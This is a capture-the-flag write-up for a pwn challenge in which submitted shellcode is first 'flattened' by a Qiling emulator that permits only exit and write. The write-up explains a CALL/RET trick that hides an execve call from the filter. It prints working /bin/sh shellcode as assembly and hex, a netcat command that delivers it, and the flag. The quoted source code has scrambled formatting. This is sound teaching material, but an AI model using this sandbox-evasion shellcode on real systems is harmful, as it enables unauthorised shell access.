Details
- Category : pwn
- Points : 471 pts
- Solves : 18 solves
Description
My server uses the latest technology to flatten your program before executing it:
nc pwn.chall.pwnoh.io 13377
Source code :
#!/usr/bin/env python3
import qiling
import pwn
import subprocess
import capstone.x86_const
= "amd64"
pwn.context.arch = []
dump
def code_hook(ql, address, size):
global dump
= ql.mem.read(address, size)
buf for i in md.disasm(buf, address):
= {1, 0x3c}
allowed_syscalls if (
in i.groups
capstone.x86_const.X86_GRP_INT and ql.reg.eax not in allowed_syscalls
):print(f"[-] syscall = {hex(ql.reg.eax)}")
raise ValueError("HACKING DETECTED!")
= {
ignored_groups
capstone.x86_const.X86_GRP_JUMP,
capstone.x86_const.X86_GRP_CALL,
capstone.x86_const.X86_GRP_RET,
capstone.x86_const.X86_GRP_IRET,
capstone.x86_const.X86_GRP_BRANCH_RELATIVE,
}= len(set(i.groups) & ignored_groups) > 0
ignore
print(
f"[{' ' if ignore else '+'}] {hex(i.address)}: {i.mnemonic} {i.op_str}"
)if not ignore:
bytes(i.bytes))
dump.append(
= input("Enter code in hex:\n")
inp = bytes.fromhex(inp)
code
= qiling.Qiling(
ql =code,
code="/",
rootfs="linux",
ostype="x8664",
archtype
)
ql.hook_code(code_hook)= ql.create_disassembler()
md = True
md.detail
ql.run()
print("[+] Your program has been flattened! Executing ...")
= b"".join(dump)
new_code = pwn.make_elf(new_code, extract=False, vma=0x11FF000)
filename subprocess.run([filename])
Understanding the problem
The program is waiting for a shellcode to execute.
Before executing it on the real server, the shellcode will be executed it in a VM with Qiling. Qiling will flatten the binary and apply some filters on the syscalls.
Only two syscalls are allowed: exit and write.
When the shellcode is executed in the VM, some instructions are removed to flatten it. Theses instructions are:
= {
ignored_groups
capstone.x86_const.X86_GRP_JUMP,
capstone.x86_const.X86_GRP_CALL,
capstone.x86_const.X86_GRP_RET,
capstone.x86_const.X86_GRP_IRET,
capstone.x86_const.X86_GRP_BRANCH_RELATIVE, }
Only the executed instructions are stored on the new flatten binary.
The main objective is to bypass the Qiling jail to be able to get a shell on the server.
Solving the problem
The instructions CALL
and RET
will be executed in the Qiling jail but won’t be present in the flattened binary. The RET
instruction allows us to specify a number of bytes to pop from the stack before returning. So, it’s possible to push two values on the stack, that will correspond to the syscalls ID : exit
and execve
. In the jail, the RET
instruction will allow us to remove the execve
syscall ID form the stack and to execute the exit
syscall. In the final binary, the RET
and CALL
are not present so the execve
syscall will be executed.
Implementing the solution
PUSH 0x3C ; syscall id: exit
PUSH 0x3B ; syscall id: execve
call bypass
pop rax
; x86_64 linux shellcode http://shell-storm.org/shellcode/files/shellcode-806.php
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
; mov al, 0x3b
syscall
bypass:
ret 8
The opcodes corresponding to this code are:
6A3C6A3BE8180000005848BBD19D9691D08C97FF48F7DB53545F995257545E0F05C20800
(echo "6A3C6A3BE8180000005848BBD19D9691D08C97FF48F7DB53545F995257545E0F05C20800"; cat -)|nc nc pwn.chall.pwnoh.io 13377
Flag : buckeye{execve_plu5_0n3_1s_exit}
Our news